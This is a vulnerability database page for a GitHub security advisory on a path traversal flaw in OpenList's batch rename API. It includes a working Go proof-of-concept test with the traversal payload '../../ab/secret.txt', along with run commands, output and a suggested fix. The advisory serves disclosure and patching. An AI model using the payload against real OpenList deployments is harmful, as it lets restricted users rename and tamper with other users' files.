GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-95CV-R8X4-VH75

Vulnerability from github – Published: 2026-07-24 22:29 – Updated: 2026-08-13 14:31
VLAI
Summary
OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal
Details

Summary

The /api/fs/batch_rename handler validates and authorizes only the requested source directory. It rejects path separators in new_name, but it does not validate src_name. The handler concatenates src_dir and attacker-controlled src_name, then passes the result to the filesystem rename layer, where the path is normalized.

An authenticated user with rename permission can set src_name to traversal segments such as ../../ab/secret.txt. When the user's base path is /team/a and src_dir is /writable, the authorized directory becomes /team/a/writable, but the final source path normalizes to /team/ab/secret.txt. The file outside the user's base path is then renamed.

Details

The HTTP API registers filesystem management routes under the authenticated group:

  • server/router.go:104 registers _fs(auth.Group("/fs")).
  • server/router.go:198 through server/router.go:205 expose /api/fs/batch_rename.

The vulnerable code is in server/handles/fsbatch.go:

  • src_dir is constrained through user.JoinPath(req.SrcDir) (server/handles/fsbatch.go:170 through server/handles/fsbatch.go:174).
  • Write permission is checked only for that constrained directory (server/handles/fsbatch.go:176 through server/handles/fsbatch.go:185).
  • The loop checks renameObject.NewName with checkRelativePath, but does not check renameObject.SrcName (server/handles/fsbatch.go:186 through server/handles/fsbatch.go:194).
  • The handler builds filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName) and passes it to fs.Rename (server/handles/fsbatch.go:195 through server/handles/fsbatch.go:196).

The single-file rename path shows the intended pattern: checkRelativePath(req.Name) rejects separators, empty strings, ., and .. before renaming (server/handles/fsmanage.go:284 through server/handles/fsmanage.go:333). Batch rename applies this protection to the destination name only, not to the source name.

Lower layers normalize the source path before operating on it:

  • utils.FixAndCleanPath replaces backslashes with slashes, forces an absolute slash prefix, and calls path.Clean (pkg/utils/path.go:18 through pkg/utils/path.go:24).
  • JoinBasePath rejects traversal in the original src_dir, not in the later concatenated src_name (pkg/utils/path.go:80 through pkg/utils/path.go:87).

False-positive checks performed:

  • The user in the PoC had only normal authenticated user role plus rename permission, not admin role.
  • The handler successfully authorized /team/a/writable, then renamed /team/ab/secret.txt, proving that the later source path escaped the authorized directory.
  • new_name validation remained in effect; the exploit uses traversal only in src_name.
  • The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.

PoC

Safe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.

Add this temporary test under server/handles/security_poc_test.go in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.

package handles

import (
    "bytes"
    "context"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "os"
    "path/filepath"
    "strings"
    "testing"

    _ "github.com/OpenListTeam/OpenList/v4/drivers/local"
    "github.com/OpenListTeam/OpenList/v4/internal/conf"
    "github.com/OpenListTeam/OpenList/v4/internal/db"
    "github.com/OpenListTeam/OpenList/v4/internal/model"
    "github.com/OpenListTeam/OpenList/v4/internal/op"
    "github.com/OpenListTeam/OpenList/v4/pkg/utils"
    "github.com/gin-gonic/gin"
    "github.com/glebarez/sqlite"
    "gorm.io/gorm"
)

func setupSecurityPoCTest(t *testing.T, root string) *model.User {
    t.Helper()
    database, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{})
    if err != nil {
        t.Fatal(err)
    }
    conf.Conf = conf.DefaultConfig(t.TempDir())
    db.Init(database)

    addition, err := utils.Json.MarshalToString(map[string]string{"root_folder_path": root})
    if err != nil {
        t.Fatal(err)
    }
    _, err = op.CreateStorage(context.Background(), model.Storage{Driver: "Local", MountPath: "/", Addition: addition})
    if err != nil {
        t.Fatal(err)
    }

    user := &model.User{
        Username:   "alice",
        BasePath:   "/team/a",
        Role:       model.GENERAL,
        Permission: 1<<4 | 1<<14,
    }
    if err := db.CreateUser(user); err != nil {
        t.Fatal(err)
    }
    return user
}

func requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {
    t.Helper()
    payload, err := json.Marshal(body)
    if err != nil {
        t.Fatal(err)
    }
    recorder := httptest.NewRecorder()
    ctx, _ := gin.CreateTestContext(recorder)
    req := httptest.NewRequest(method, target, bytes.NewReader(payload))
    req.Header.Set("Content-Type", "application/json")
    req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))
    ctx.Request = req
    return ctx, recorder
}

func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
    gin.SetMode(gin.TestMode)
    root := t.TempDir()
    if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
        t.Fatal(err)
    }
    if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
        t.Fatal(err)
    }
    secretPath := filepath.Join(root, "team", "ab", "secret.txt")
    if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
        t.Fatal(err)
    }
    user := setupSecurityPoCTest(t, root)

    ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
        "src_dir": "/writable",
        "rename_objects": []gin.H{{
            "src_name": "../../ab/secret.txt",
            "new_name": "renamed.txt",
        }},
    }, user)
    FsBatchRename(ctx)

    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
        t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
    }
    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
        t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
    }
    renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
    got, err := os.ReadFile(renamedPath)
    if err != nil {
        t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
    }
    if string(got) != "secret" {
        t.Fatalf("unexpected renamed file contents: %q", got)
    }
}

Run:

go test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v

Observed vulnerable output in this environment:

=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok      github.com/OpenListTeam/OpenList/v4/server/handles

Combined final confirmation command used during the audit:

go test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v

Observed combined output:

=== RUN   TestPOCShareCreateAcceptsSiblingPathOutsideUserBase
--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)
=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase
--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)
PASS
ok      github.com/OpenListTeam/OpenList/v4/server/handles  (cached)

Negative/control cases checked:

  • src_dir traversal is rejected by user.JoinPath because JoinBasePath detects relative traversal in the original request path.
  • new_name traversal is rejected by checkRelativePath because it contains /, \\, ., or .. patterns.
  • The exploit succeeds because src_name is not passed through the same relative filename check before concatenation.

Cleanup:

rm server/handles/security_poc_test.go

Impact

A restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to /team/a can rename a guessed sibling file such as /team/ab/secret.txt to /team/ab/renamed.txt by submitting traversal segments in src_name.

This is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.

Suggested remediation

Validate renameObject.SrcName with the same relative filename constraints already applied to renameObject.NewName, or derive source objects only from a trusted directory listing of reqPath.

A minimal fix is to call checkRelativePath(renameObject.SrcName) before constructing filePath. Add regression tests covering:

  • src_name: "file.txt" succeeds;
  • src_name: "../secret.txt" is denied;
  • src_name: "../../ab/secret.txt" is denied when base path is /team/a and src_dir is /writable;
  • new_name traversal remains denied.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OpenListTeam/OpenList/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:29:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized.\n\nAn authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user\u0027s base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user\u0027s base path is then renamed.\n\n### Details\n\nThe HTTP API registers filesystem management routes under the authenticated group:\n\n- `server/router.go:104` registers `_fs(auth.Group(\"/fs\"))`.\n- `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`.\n\nThe vulnerable code is in `server/handles/fsbatch.go`:\n\n- `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`).\n- Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`).\n- The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`).\n- The handler builds `filePath := fmt.Sprintf(\"%s/%s\", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`).\n\nThe single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name.\n\nLower layers normalize the source path before operating on it:\n\n- `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`).\n- `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`).\n\nFalse-positive checks performed:\n\n- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.\n- The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory.\n- `new_name` validation remained in effect; the exploit uses traversal only in `src_name`.\n- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.\n\n### PoC\n\nSafe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.\n\nAdd this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.\n\n```go\npackage handles\n\nimport (\n    \"bytes\"\n    \"context\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"os\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    _ \"github.com/OpenListTeam/OpenList/v4/drivers/local\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/conf\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/db\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/model\"\n    \"github.com/OpenListTeam/OpenList/v4/internal/op\"\n    \"github.com/OpenListTeam/OpenList/v4/pkg/utils\"\n    \"github.com/gin-gonic/gin\"\n    \"github.com/glebarez/sqlite\"\n    \"gorm.io/gorm\"\n)\n\nfunc setupSecurityPoCTest(t *testing.T, root string) *model.User {\n    t.Helper()\n    database, err := gorm.Open(sqlite.Open(\"file:\"+t.Name()+\"?mode=memory\u0026cache=shared\"), \u0026gorm.Config{})\n    if err != nil {\n        t.Fatal(err)\n    }\n    conf.Conf = conf.DefaultConfig(t.TempDir())\n    db.Init(database)\n\n    addition, err := utils.Json.MarshalToString(map[string]string{\"root_folder_path\": root})\n    if err != nil {\n        t.Fatal(err)\n    }\n    _, err = op.CreateStorage(context.Background(), model.Storage{Driver: \"Local\", MountPath: \"/\", Addition: addition})\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    user := \u0026model.User{\n        Username:   \"alice\",\n        BasePath:   \"/team/a\",\n        Role:       model.GENERAL,\n        Permission: 1\u003c\u003c4 | 1\u003c\u003c14,\n    }\n    if err := db.CreateUser(user); err != nil {\n        t.Fatal(err)\n    }\n    return user\n}\n\nfunc requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {\n    t.Helper()\n    payload, err := json.Marshal(body)\n    if err != nil {\n        t.Fatal(err)\n    }\n    recorder := httptest.NewRecorder()\n    ctx, _ := gin.CreateTestContext(recorder)\n    req := httptest.NewRequest(method, target, bytes.NewReader(payload))\n    req.Header.Set(\"Content-Type\", \"application/json\")\n    req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))\n    ctx.Request = req\n    return ctx, recorder\n}\n\nfunc TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {\n    gin.SetMode(gin.TestMode)\n    root := t.TempDir()\n    if err := os.MkdirAll(filepath.Join(root, \"team\", \"a\", \"writable\"), 0o700); err != nil {\n        t.Fatal(err)\n    }\n    if err := os.MkdirAll(filepath.Join(root, \"team\", \"ab\"), 0o700); err != nil {\n        t.Fatal(err)\n    }\n    secretPath := filepath.Join(root, \"team\", \"ab\", \"secret.txt\")\n    if err := os.WriteFile(secretPath, []byte(\"secret\"), 0o600); err != nil {\n        t.Fatal(err)\n    }\n    user := setupSecurityPoCTest(t, root)\n\n    ctx, recorder := requestWithUser(t, http.MethodPost, \"/api/fs/batch_rename\", gin.H{\n        \"src_dir\": \"/writable\",\n        \"rename_objects\": []gin.H{{\n            \"src_name\": \"../../ab/secret.txt\",\n            \"new_name\": \"renamed.txt\",\n        }},\n    }, user)\n    FsBatchRename(ctx)\n\n    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `\"code\":200`) {\n        t.Fatalf(\"expected batch rename success, status=%d body=%s\", recorder.Code, recorder.Body.String())\n    }\n    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {\n        t.Fatalf(\"expected original sibling file to be renamed, stat err=%v\", err)\n    }\n    renamedPath := filepath.Join(root, \"team\", \"ab\", \"renamed.txt\")\n    got, err := os.ReadFile(renamedPath)\n    if err != nil {\n        t.Fatalf(\"expected renamed sibling file at %s: %v\", renamedPath, err)\n    }\n    if string(got) != \"secret\" {\n        t.Fatalf(\"unexpected renamed file contents: %q\", got)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok  \tgithub.com/OpenListTeam/OpenList/v4/server/handles\n```\n\nCombined final confirmation command used during the audit:\n\n```bash\ngo test ./server/handles -run \u0027TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)\u0027 -v\n```\n\nObserved combined output:\n\n```text\n=== RUN   TestPOCShareCreateAcceptsSiblingPathOutsideUserBase\n--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)\n=== RUN   TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok  \tgithub.com/OpenListTeam/OpenList/v4/server/handles\t(cached)\n```\n\nNegative/control cases checked:\n\n- `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path.\n- `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\\\`, `.`, or `..` patterns.\n- The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation.\n\nCleanup:\n\n```bash\nrm server/handles/security_poc_test.go\n```\n\n### Impact\n\nA restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`.\n\nThis is an integrity violation against other users\u0027 files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.\n\n### Suggested remediation\n\nValidate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`.\n\nA minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering:\n\n- `src_name: \"file.txt\"` succeeds;\n- `src_name: \"../secret.txt\"` is denied;\n- `src_name: \"../../ab/secret.txt\"` is denied when base path is `/team/a` and `src_dir` is `/writable`;\n- `new_name` traversal remains denied.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
  "id": "GHSA-95cv-r8x4-vh75",
  "modified": "2026-08-13T14:31:12Z",
  "published": "2026-07-24T22:29:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-95cv-r8x4-vh75"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/commit/651da18da4c647d96648d4bb64462baac1c37e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OpenListTeam/OpenList"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…